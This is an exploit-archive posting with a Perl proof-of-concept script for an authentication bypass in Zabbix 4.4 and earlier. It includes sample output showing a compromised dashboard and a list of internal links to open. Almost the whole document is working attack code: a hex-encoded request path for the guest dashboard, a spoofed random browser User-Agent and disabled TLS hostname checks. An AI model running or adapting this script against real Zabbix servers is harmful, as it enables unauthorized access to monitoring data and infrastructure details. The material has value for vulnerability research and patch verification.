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Zabbix 4.4 Authentication Bypass

Zabbix 4.4 Authentication Bypass
Posted Oct 7, 2019
Authored by Todor Donev

Zabbix versions 4.4 and below authentication bypass demo proof of concept exploit.

tags | exploit, proof of concept, bypass
MD5 | f42e7388fa16f251a8660a46ed6ae867

Zabbix 4.4 Authentication Bypass

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#!/usr/bin/perl -w
#
# Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
# # [ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>
# # [ Initializing the browser
# # [ >>> Referer =>
# # [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1
# # [ >>> Content-Type => application/x-www-form-urlencoded
# # [ <<< Cache-Control => no-store, no-cache, must-revalidate
# # [ <<< Connection => close
# # [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT
# # [ <<< Pragma => no-cache
# # [ <<< Server => nginx
# # [ <<< Vary => Accept-Encoding
# # [ <<< Content-Type => text/html; charset=UTF-8
# # [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT
# # [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT
# # [ <<< Client-Peer =>
# # [ <<< Client-Response-Num => 1
# # [ <<< Client-SSL-Cert-Issuer =>
# # [ <<< Client-SSL-Cert-Subject =>
# # [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256
# # [ <<< Client-SSL-Socket-Class => IO::Socket::SSL
# # [ <<< Client-SSL-Warning => Peer certificate not verified
# # [ <<< Client-Transfer-Encoding => chunked
# # [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css"
# # [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly
# # [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload
# # [ <<< Title => TARGET: Dashboard
# # [ <<< X-Content-Type-Options => nosniff
# # [ <<< X-Frame-Options => SAMEORIGIN
# # [ <<< X-Meta-Author => Zabbix SIA
# # [ <<< X-Meta-Charset => utf-8
# # [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d
# # [ <<< X-Meta-Msapplication-Config => none
# # [ <<< X-Meta-Msapplication-TileColor => #d40000
# # [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png
# # [ <<< X-Meta-Viewport => width=device-width, initial-scale=1
# # [ <<< X-UA-Compatible => IE=Edge
# # [ <<< X-XSS-Protection => 1; mode=block
# # [
# # [ The target is vulnerable. Try to open these links:
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
# # [ https://TARGET/zabbix/overview.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
# # [ https://TARGET/zabbix/latest.php?ddreset=1
# # [ https://TARGET/zabbix/charts.php?ddreset=1
# # [ https://TARGET/zabbix/screens.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
# # [ https://TARGET/zabbix/srv_status.php?ddreset=1
# # [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
# # [ https://TARGET/zabbix/hostinventories.php?ddreset=1
# # [ https://TARGET/zabbix/report2.php?ddreset=1
# # [ https://TARGET/zabbix/toptriggers.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.list
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1
#
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use HTML::TreeBuilder;
my $host = shift || ''; # Full path url to the store
$host =~ s|/$||;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit\n";
print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";
print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);
my $response = $browser->request($request);
print "[ >>> $_ => ", $request->header($_), "\n" for $request->header_field_names;
print "[ <<< $_ => ", $response->header($_), "\n" for $response->header_field_names;
print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401');
print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403');
if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){
print "[\n[ The target is vulnerable. Try to open these links:\n";
my $tree = HTML::TreeBuilder->new_from_content($response->as_string());
my @files = $tree->look_down(_tag => 'a');
for my $line (@files){
next if ($line->attr('href') =~ m/javascript/);
next if ($line->attr('href') =~ m/\#/);
next if ($line->attr('href') =~ m/http/);
print "[ ", $host."/zabbix/".$line->attr('href'), "\n";
}
} else {
print "[ Exploit failed! The target isn't vulnerable\n";
exit;
}
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